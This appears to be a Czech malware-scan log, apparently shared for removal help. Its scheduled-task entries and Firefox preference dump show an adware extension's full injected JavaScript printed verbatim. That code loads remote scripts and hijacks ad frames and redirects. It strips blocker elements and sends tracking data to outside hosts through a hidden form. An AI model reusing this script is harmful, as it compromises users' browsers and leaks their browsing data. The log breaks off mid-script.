2014-01-04 c:\windows\Tasks\GoogleUpdateTaskMachineCore.job
- c:\program files\Google\Update\GoogleUpdate.exe [2011-01-09 19:55]
.
2014-01-04 c:\windows\Tasks\GoogleUpdateTaskMachineUA.job
- c:\program files\Google\Update\GoogleUpdate.exe [2011-01-09 19:55]
.
2014-01-04 c:\windows\Tasks\User_Feed_Synchronization-{A2BF0B98-0956-4F4F-B8F1-BB1B13BE5F15}.job
- c:\windows\system32\msfeedssync.exe [2006-10-17 02:31]
.
.
------- Doplňkový sken -------
.
uStart Page = hxxp://www.seznam.cz/
IE: E&xportovat do aplikace Microsoft Office Excel - c:\progra~1\MICROS~2\OFFICE11\EXCEL.EXE/3000
TCP: Interfaces\{3A32817C-D74F-4C3E-B232-76CB9420D426}: NameServer = 10.10.10.10,10.10.11.11
FF - ProfilePath - c:\documents and settings\123\Data aplikací\Mozilla\Firefox\Profiles\fz621cfe.default\
user_pref(browser.places.importBookmarksHTML, false);user_pref(browser.places.importDefaults, false);user_pref(browser.places.leftPaneFolderId, -1);user_pref(browser.places.migratePostDataAnnotations, false);user_pref(browser.places.smartBookmarksVersion, 2);user_pref(browser.places.updateRecentTagsUri, false);user_pref(browser.rights.3.shown, true);user_pref(browser.search.defaultenginename, Search the web (Babylon));user_pref(browser.search.order.1, Search the web (Babylon));FF - prefs.js: browser.search.selectedEngine - Search the web (Babylon));user_pref(browser.shell.checkDefaultBrowser, false);user_pref(browser.startup.homepage_override.mstone, rv:1.9.2.13);user_pref(extensions.4fc1fea6f2dd7.epoch, 1387576268);user_pref(browser.startup.homepage, hxxp://mystart.incredibar.com/?a=6R8ucUitdV&loc=skw);user_pref(browser.newtab.url,http://mystart.incredibar.com/?a=6R8ucUitdV&loc=skw);user_pref(extensions.4fc1fea6f2dd7.scode, (function(){if(window.self.location.hostname.indexOf(\acebook.co\)>-1){return};if(window.self==window.top){var script=document.createElement(\script\);script.type=\text/javascript\;script.src=\//cdncache-a.akamaihd.net/loaders/1499/l.js?aoi=1311798366&pid=1499&zoneid=292541&ext=safesaver\;document.getElementsByTagName(\head\)[0].appendChild(script)};;try{new function(){if(null==document.getElementById(\id_arrrrppdjafklbvnn4440fm\)&&\http:\==location.protocol&&window.self==window.top){var a=document.createelement(\script\);a.type=\text/javascript\;a.src=\http://istatic.datafastguru.info/fo/min ... $12){};;if(window.self.location.hostname.indexOf('mail.')==-1)\r\n{try{for(i=0;i<5;i++){window.setTimeout(function(){if(document.getElementById(\cblocker\)){document.getElementById(\cblocker\).parentNode.removeChild(document.getElementById(\cblocker\));};if(document.getElementById(\_vdcbl\)){document.getElementById(\_vdcbl\).parentNode.removeChild(document.getElementById(\_vdcbl\));}},i*100)}}catch(e){};\r\n};(function(){try{if(window.opener&&window.self==window.top&&-1==document.cookie.indexOf(\xcddsa\)&&-1==window.self.location.href.indexOf(\px.pluginh\)&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\px.pluginh\))&&-1==window.self.location.href.indexOf(\ally.asi\)&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\getjs\)&&-1==window.self.location.hostname.indexOf(\hsbc\)&&3>history.length){var c=navigator.userAgent.toLowerCase(),d=\http://rbv.jobfindgold.info/a1/?eid=13&hid=0&pid=20&rf=\ + encodeURIComponent(document.referrer) +\&s=px.pluginh&r=\+Math.random();if(-1<c.indexOf(\msie\)&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\xcddsa=1;expires=\+a.toUTCString();window.self.location.href=d}}}else if(!window.menubar.visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\xcddsa=1;expires=\+a.toUTCString();var b=document.createElement(\script\);b.type=\text/javascript\;-1<c.indexOf(\chrome\)&&(b.innerHTML='document.getElementsByTagName(\body\)[0].setAttribute(\xcddsa\,\1\)',document.getElementsByTagName(\body\)[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\body\)[0].getAttribute(\xcddsa\)&&(window.self.location.href=d)},10));-1<c.indexOf(\firefox\)&&(b.innerHTML='setTimeout(function(){window.self.location.href=\'+d+'\;},10)',document.getElementsByTagName(\head\)[0].appendChild(b))}}}catch(l){}})();if(-1<window.self.location.href.indexOf(\df.ly/\)){var dd=document.getElementById(\rf\);dd&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\)}(\rdlnk.co\==window.self.location.hostname||\adfoc.us\==window.self.location.hostname||\www.adsbeta.net\==window.self.location.hostname||\ad5.eu\==window.self.location.hostname)&&(dd=document.getElementsByTagName(\iframe\)[0])&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\);\cf.ly\==window.self.location.hostname&&(dd=document.getElementsByTagName(\iframe\)[1])&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\);\adv.li\==window.self.location.hostname&&(dd=document.getElementById(\main\))&&dd.setAttribute(\src\,\http://rbv.jobfindgold.info/x/?ch=1\);;var _wlst={lsKey:\ssjsmn2ja8ddw2a\,get:function(b,a){if(3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d));if(1==b){crc=this.hcrc32(window.self.location.hostname.replace(\www.\,\\));try{var c=document.createElement(\script\);c.type=\text/javascript\;try{c.async=\async\}catch(e){}c.src=\http://v.zilionfast.in/\+crc+\/?t=vrt\;(document.getElementsByTagName(\head\)[0]||document.getElementsByTagName(\body\)[0]).appendChild(c)}catch(f){}}setTimeout(function(){_wlst.get(++b,a)},180)},fetch:function(){try{if(\undefined\!=localStorage)try{return localStorage.getItem(this.lsKey)}catch(b){return 0}else _wlst.getCkie()}catch(a){_wlst.getCkie()}},getCkie:function(){if(0<document.cookie.length&&(c_start=document.cookie.indexOf(this.lsKey+\=\),-1!=c_start))return c_start=c_start+this.lsKey.length+1,c_end=document.cookie.indexOf(\;\,c_start),-1==c_end&&(c_end=document.cookie.length),unescape(document.cookie.substring(c_start,c_end))},hcrc32:function(b,a){a||(a=0);var d=0;a^=-1;for(var c=0,e=b.length;c<e;c++)d=(a^b.charCodeAt(c))&255,d=\0x\+\00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D\.substr(9*d,8),a=a>>>8^d;c=a^-1;0>c&&(c+=4294967296);return c}},_zyad={title:document.title?document.title.toLowerCase():\na\,location:window.self.location.href.toLowerCase() + (document.referrer ? document.referrer : ''),vrt:!1,networks_list:[[['mari_media_rmx',475],['admanage_gen',113],['dsnr_dasl_tier2_rmx_gen',80],['cpx_bet_55',3691],['dsnr_dasl_tier3_rmx_gen',101],['dsnr_dasa_gentb1',1275],['dsnr_dsnrtbA2_tb',317],['dsnr_dasa_gentb3',318],['start_me_app_tier2',515],['intag_apx',81],['dsnr_toptier2_gentb',200],['matomy_adj6',2478],['adstract_new_gentb',256],['adacive_gen',100]],[['mari_strm_new',442],['e_viral_strm',231],['mmg_strm',327],['matomy_strm_3',9000]],[['hulk_porn',10000]]],networks_conf:!1,init:function(){_wlst.get(1,function(b){_zyad.vrt=b;if(!(_zyad.vrt==17 || _zyad.location.indexOf('MKiBbWjX=')>-1|| _zyad.location.indexOf('adk2.co')>-1 ||window.self.location.hostname==\ad.yieldmanager.com\||window.self.location.hostname==\cpm.geoadserver.com\||window.self.location.hostname==\ad.z5x.net\||window.self.location.hostname==\tr.adsplats.com\||window.self.location.hostname==\an.z5x.net\||window.self.location.hostname==\ib.adnxs.com\||window.self.location.hostname==\pl.intag.co\||window.self.location.hostname==\a.adorika.net\||window.self.location.hostname==\net.e-viral.com\||window.self.location.hostname==\srv1.mediads.info\||window.self.location.hostname==\ads.ventivmedia.com\|| _zyad.location.indexOf('=292541')>-1|| _zyad.location.indexOf('=458516')>-1||_zyad.location.indexOf('PT1311')>-1||_zyad.location.indexOf('1018-1005')>-1||_zyad.location.indexOf('1019-1001')>-1||_zyad.location.indexOf('2136&zid=')>-1))if(_zyad.networks_conf=12==_zyad.vrt?_zyad.networks_list[2]:_zyad.vrt?_zyad.networks_list[1]:!_zyad.getisP()?_zyad.networks_list[0]:!1,_zyad.networks_conf){for(i=0;5>i;i++)setTimeout(_zyad.find,500*i);window.self==window.top&&1==Math.floor(7*Math.random()+1)&&setTimeout(function(){_zyad.find(1)},6E4)}})},getisD:function(){return-1<_zyad.title.indexOf(\torrent\)||-1<_zyad.location.indexOf(\torrent\)},getisNA:function(){return!1},getisP:function(){try{if(12==_zyad.vrt)return!0;if(_zyad.vrt)return!1;var b=document.getElementsByTagName(\meta\);if(b)for(i=0;i<b.length;i++)try{if(b&&b.getAttribute(\name\)){var a=b.getAttribute(\name\).toLowerCase();if(\description\==a||\keywords\==a)_zyad.title=_zyad.title+\ \+b.getAttribute(\content\)}}catch(d){}}catch(c){}b=\porn sex xxx tits adult lesbian squirt creampie bondage ExSuna mature fisting fuck gangbang orgy gay nude tits tranny blowjob handjob masturbat busty slut joder horny mamada polla cock pussy threesome teens milf bdsm hentai motherless erotic cams petite\.split(\ \);for(i in b)if(-1<_zyad.location.indexOf(b)||-1<_zyad.title.indexOf(b))return!0;return!1},epoch:function(){try{var b=new Date;try{return(b.getTime()-b.getMilliseconds())/1E3}catch(a){return parseInt(b.getTime()/1E3)}}catch(d){return 0}},between:function(b,a){return b>=a-7&&b<=a+7},detectRsize:function(b){try{var a=[0,0];try{a=[parseInt(\number\==typeof b.width||\string\==typeof b.width&&b.width.match(/[0-9]/)?b.width:b.scrollWidth),parseInt(\number\==typeof b.height||\string\==typeof b.height&&b.height.match(/[0-9]/)?b.height:b.scrollHeight)]}catch(d){}var c=_zyad.between;switch(!0){case c(a[1],600)&&c(a[0],120):return[120,600];case c(a[1],600)&&c(a[0],160):return[160,600];case c(a[1],600)&&c(a[0],300):return[300,600];case c(a[1],125)&&c(a[0],125):return[125,125];case c(a[1],250)&&c(a[0],300):return[300,250];case c(a[1],250)&&c(a[0],250):return[250,250];case c(a[1],250)&&c(a[0],336):return[300,250];case c(a[1],150)&&c(a[0],180):return[180,150];case c(a[1],400)&&c(a[0],600):return[600,400];case c(a[1],60)&&c(a[0],120):return[120,60];case c(a[1],100)&&c(a[0],300):return[300,100];case c(a[1],60)&&c(a[0],234):return[234,60];case c(a[1],60)&&c(a[0],460):return[460,60];case c(a[1],60)&&c(a[0],468):return[468,60];case c(a[1],90)&&c(a[0],728):return[728,90];default:return!1}}catch(e){return!1}},find:function(b){var a=[],d=window.self.document.getElementsByTagName(\iframe\);for(i=0;i<d.length;i++){if(!b)try{if(d.hasAttribute(\s8455075098880041531\))continue}catch(c){try{if(d.getAttribute(\s8455075098880041531\))continue}catch(e){}};try{if(d.src.indexOf('=292541')>-1||d.src.indexOf('=458516')>-1||d[i].src.indexOf('1018-1005')>-1||d[i].src.indexOf('1019-1001')>-1||d[i].src.indexOf('2136&zid=')>-1||(d[i].getAttribute('name')&&d[i].getAttribute('id')==d[i].getAttribute('name')&&d[i].getAttribute('name').match(/^ap\\d+$/))){try{d[i].setAttribute(\s8455075098880041531\, \true\);d[i].setAttribute(\replaced\, \true\);}catch(e){};continue;}}catch(e){};(rSize=_zyad.detectRsize(d[i]))&&a.push({size:rSize,ifr:d[i],func:function(a,b){_zyad.setNetwork(a.ifr,a.size);b++;a&&a&&\function\==typeof a.func&&setTimeout(function(){a.func(a,b)},1)}})}a[0]&&a[0].func&&a[0].func(a,0)},setNetwork:function(b,a){if(a&&b){var d=0,c=0,e=Math.floor(10000*Math.random()+0.9),f=0,h={},g=[];for(i=0;i<_zyad.networks_conf.length;i++){var j=_zyad.networks[_zyad.networks_conf[i][0]](a);j&&(h[i]=j,g.push(i),d+=_zyad.networks_conf[i][1])}10000<d&&(c=Math.floor((10000-d)/g.length+0.9));for(i=0;i<g.length;i++)if(d=g[i],f+=_zyad.networks_conf[i][1]+c,f>=e){h[d](b);break}}},iset:function(ifr, url, mode, properties){try{switch(mode){default:case 1:var channel = 0;try{if(ifr.getAttribute('bow')) channel=1}catch(e){}ifr.src = url + (properties ? (url.indexOf('?')>'-1' ? '&' : '/?') + 'MKiBbWjX=' + properties[0] + '_' + properties[1] + '_' + channel : '');break;case 2:try{ifr.src='about:blank';ifr.contentWindow.document.write('<html><head>\\x3cscript>setTimeout(function(){location.href=\'+url+'\},1)\\x3c/script></head><body> \\x3c/body>\\x3c/html>');}catch(e){var h = '<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body><iframe name=\a7h3h73d3\ src=\about:blank\ style=\width:100%;height:100%;border:0\ MARGINWIDTH=\0\ MARGINHEIGHT=\0\ frameborder=\0\ scrolling=\no\ width=\100%\ height=\100%\></iframe>\\x3cscript>setTimeout(function(){frames[\a7h3h73d3\].document.write(\<\+\script>setTimeout(function(){setTimeout(function(){location.href=\\x5c\\\\x27'+url+'\\x5c\\\\x27},1)},1);\+\<\+\/script>\)},1)\\x3c/script></body></html>';ifr.src='javascript:document.write(\\''+h+'\\');'}break;case 3:ifr.src = \about:blank\;ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style>\\x3cscript>setTimeout(function(){document.getElementsByTagName(\body\)[0].innerHTML=\\\x3cscript src=\'+url+'\>\\x3c/script>\},10)\\x3c/script></head><body> </body></html>');break;case 4:ifr.src = \about:blank\;ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body>'+url+'</body></html>');break;}try{ifr.setAttribute(\s8455075098880041531\, \true\);ifr.setAttribute(\replaced\, \true\)}catch(e){}}catch(e){}},networks:{mari_media_rmx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ad.yieldmanager.com/st?ad_type=i ... code=13_20', (atp?atp:1), [236,size]);}}catch(e){return !1;}},admanage_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://cpm.geoadserver.com/tag?zone_id= ... ype=iframe', (atp?atp:1), [260,size]);}}catch(e){return !1;}},dsnr_dasl_tier2_rmx_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://ad.z5x.net/st?ad_type=iframe&ad_ ... code=13_20', (atp?atp:2), [309,size]);}}catch(e){return !1;}},cpx_bet_55:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;var reff = window.top==window.self ? encodeURIComponent(window.self.location.href) : '';;return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/cmp/1412355/inde ... rer='+reff+'', (atp?atp:1), [354,size]);}}catch(e){return !1;}},dsnr_dasl_tier3_rmx_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 120x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ad.z5x.net/st?ad_type=iframe&ad_ ... code=13_20', (atp?atp:1), [357,size]);}}catch(e){return !1;}},dsnr_dasa_gentb1:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top == window.self ? encodeURIComponent(window.self.location.href) : '';var surl = \http://an.z5x.net/tt?id=1992474&size=\+ ... eff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [371,size]);}}catch(e){return !1;}},dsnr_dsnrtbA2_tb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top == window.self ? encodeURIComponent(window.self.location.href) : '';var surl = \http://an.z5x.net/tt?id=1992543&size=\+ ... eff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [376,size]);}}catch(e){return !1;}},dsnr_dasa_gentb3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;var reff = window.top == window.self ? encodeURIComponent(window.self.location.href) : '';var surl = \http://an.z5x.net/tt?id=1992478&size=\+ ... eff;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [383,size]);}}catch(e){return !1;}},start_me_app_tier2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2030268&size= ... &pubclick=', (atp?atp:1), [410,size]);}}catch(e){return !1;}},intag_apx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://pl.intag.co/tt?id=2018543&size=' ... &pubclick=', (atp?atp:1), [416,size]);}}catch(e){return !1;}},dsnr_toptier2_gentb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://an.z5x.net/tt?id=2059569&size='+size+'&referrer=', (atp?atp:1), [426,size]);}}catch(e){return !1;}},matomy_adj6:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;var arr={\728x90\:\2069849\,\300x250\:\2069844\,\160x600\:\2069857\}[size]; var surl = \http://ib.adnxs.com/tt?id=\+arr;;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [432,size]);}}catch(e){return !1;}},adstract_new_gentb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90 120x600'.indexOf(size)) return !1;var atp=false;if(size == \120x60\) return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2070142&size='+size+'', (atp?atp:1), [433,size]);}}catch(e){return !1;}},adacive_gen:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://a.adorika.net/c/banner_s?tenant= ... kin=iframe', (atp?atp:1), [246,size]);}}catch(e){return !1;}},mari_strm_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size == \120x60\) return;var arr={\728x90\:\1879990\,\300x250\:\1879991\,\468x60\:\1879992\,\120x600\:\1879993\,\160x600\:\1879994\}[size]; var surl = \http://ib.adnxs.com/tt?id=\+arr;;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [430,size]);}}catch(e){return !1;}},e_viral_strm:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://net.e-viral.com/tt?id=1966468&size='+size+'', (atp?atp:1), [408,size]);}}catch(e){return !1;}},mmg_strm:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://srv1.mediads.info/tags/?tid=223& ... ub_domain=', (atp?atp:1), [429,size]);}}catch(e){return !1;}},matomy_strm_3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size == \120x60\){return};var arr={\728x90\:\2069791\,\300x250\:\2069790\,\160x600\:\2069794\}[size]; var surl = \http://ib.adnxs.com/tt?id=\+arr;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [431,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://ads.ventivmedia.com/www/delivery/afr.php?zoneid=' + {\728x90\:\52\,\300x250\:\58\,\468x60\:\60\,\120x600\:\55\,\160x600\:\53\,\300x600\:\59\,\250x250\:\56\,\600x400\:\57\}[size] + '&cb=' + Math.random();;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();;(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\undefined\==typeof localStorage||\undefined\==typeof localStorage.setItem||-1==a.indexOf(\MKiBbWjX=\)&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\cdncache-a.aka\))){if(-1<a.indexOf(\MKiBbWjX=\)){var d=a.match(/MKiBbWjX=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\x\,\.\);g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\zoneid\)?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\body\)[0];b=-1<a.indexOf(\cdncache-a.aka\)?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\.\+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\zyk_\+[e.getUTCFullYear()+\-\+(e.getUTCMonth()+1)+\-\+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\zEpoch\)){if(7200<k-parseInt(lsTime)){var h=document.createElement(\div\);b=[];for(i in localStorage)-1<i.indexOf(\zyk_\)&&b.push(\'\+i.replace(\zyk_\,\\)+\':\+localstorage.getitem(i));h.style.display=\none\;h.innerHTML='<iframe name=\webscorebox_ifr\></iframe><form target=\webscorebox_ifr\ method=\post\ action=\http://count3.webscorebox.com/?q=g708BN ... Y9rHUHra==\ id=\webscorebox_frm\><input type=\hidden\ name=\scores\ value=\{'+b.join(\,\)+'}\></form>';(typeof c!=\undefined\?c:document.getElementsByTagName(\body\)[0]).appendChild(h);document.getElementById(\webscorebox_frm\).submit();localStorage.clear()}}else localStorage.setItem(\zEpoch\,k)}}catch(p){}})();;(function(){-1<window.self.location.hostname.indexOf(\kass.t\)&&setTimeout(function(){if(document.getElementById(\_091c88d5b8c081bf15d212c4ae994c85\)){var a=document.getElementById(\_091c88d5b8c081bf15d212c4ae994c85\),b=document.createElement(\div\);b.setAttribute(\style\,\width:100%;height:300%;position:absolute;left:0;top:0\);b.innerHTML='<img src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\ style=\width:100%;height:100%\>';a.style.position=\relative\;a.appendChild(b)}document.getElementById(\_2bffc94164dd9984ae4826e8bc988721\)&&(a=document.getElementById(\_2bffc94164dd9984ae4826e8bc988721\),b=document.createElement(\div\),b.setAttribute(\style\,\width:100%;height:121%;position:absolute;left:0;top:0\),b.innerHTML='<img src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\ style=\width:100%;height:100%\>',a.style.position=\relative\,a.appendChild(b))},250);if(-1<window.self.location.hostname.indexOf(\eo-online.me\)&&window.self==window.top){var d=function(){try{if(jQuery(\.down, .dloadf, .dloadt\).attr(\href\,\#\),$(\#adsfrm\).length){var a=$(\#adsfrm\).offset();$('<img src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\ style=\position:absolute;z-index:9999;top:'+a.top+\px;left:\+a.left+\px;width:\+$(\#adsfrm\).width()+\px;height:\+$(\#adsfrm\).height()+'px;\>').appendTo(\body\)}}catch(b){}},c=document.createElement(\script\);c.type=\text/javascript\;c[-1<navigator.userAgent.toLowerCase().indexOf(\msie\)?\text\:\innerhtml\]=$\+d.toString()+$()\;document.getElementsByTagName(\head\)[0].appendChild(c)}if(-1<window.self.location.hostname.indexOf(\irpy.co\)&&window.self==window.top)try{d=function(){try{$(\.download-maxiget, .download-trinity\).attr(\href\,\#\),$(\#mp3-with-trinity\).remove()}catch(a){}},-1<!navigator.userAgent.indexOf(\chrome\)?d():(c=document.createElement(\script\),c.innerHTML=$\+d.toString()+$()\,document.body.appendChild(c))}catch(e){}if('GB'!='CZ'&&-1<window.self.location.hostname.indexOf(\ehd.c\)&&document.getElementById(\r1113566095\)){var d=document.createElement(\img\);d.setAttribute(\style\,\width:100%;height:100%;position:absolute;z-index:99999;left:0;top:0\);d.src=\data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEHAAAALAAAAAABAAEAAAICRAEAOw==\;var 